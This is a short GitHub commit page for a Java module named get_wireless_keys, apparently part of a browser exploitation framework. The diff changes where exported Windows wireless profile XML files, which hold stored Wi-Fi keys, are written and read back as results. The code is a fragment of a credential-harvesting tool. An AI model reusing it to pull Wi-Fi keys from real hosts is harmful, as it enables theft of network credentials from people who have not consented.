Skip to content

Commit

Permalink
Save wireless configuration xml created by Get_wireless_keys module t…
Browse files Browse the repository at this point in the history
…o temp folder
  • Loading branch information
milo2012 committed Apr 2, 2012
1 parent 1db9cca commit e528375
Show file tree
Hide file tree
Showing 3 changed files with 5 additions and 1 deletion.
Binary file modified modules/host/get_wireless_keys/wirelessZeroConfig.class
Binary file not shown.
Binary file modified modules/host/get_wireless_keys/wirelessZeroConfig.jar
Binary file not shown.
6 changes: 5 additions & 1 deletion modules/host/get_wireless_keys/wirelessZeroConfig.java
Expand Up @@ -68,12 +68,16 @@ public static String getWindows(){
} catch (IOException e) { }

try{
String tmpDir = System.getProperty("java.io.tmpdir");
if ( !(tmpDir.endsWith("/") || tmpDir.endsWith("\\")) )
tmpDir = tmpDir + System.getProperty("file.separator");

//Export WLAN Profile to XML file
for(Iterator iterator = profileList.iterator(); iterator.hasNext();){
String profileName = iterator.next().toString();
Process p2 = Runtime.getRuntime().exec(cmd2+'"'+profileName+'"');
//Check if exported xml exists
File f = new File("Wireless Network Connection-"+profileName+".xml");
File f = new File(tmpDir+"Wireless Network Connection-"+profileName+".xml");
if(f.exists()){
//Read contents of XML file into results variable
FileInputStream fstream = new FileInputStream(f);
Expand Down

0 comments on commit e528375

Please sign in to comment.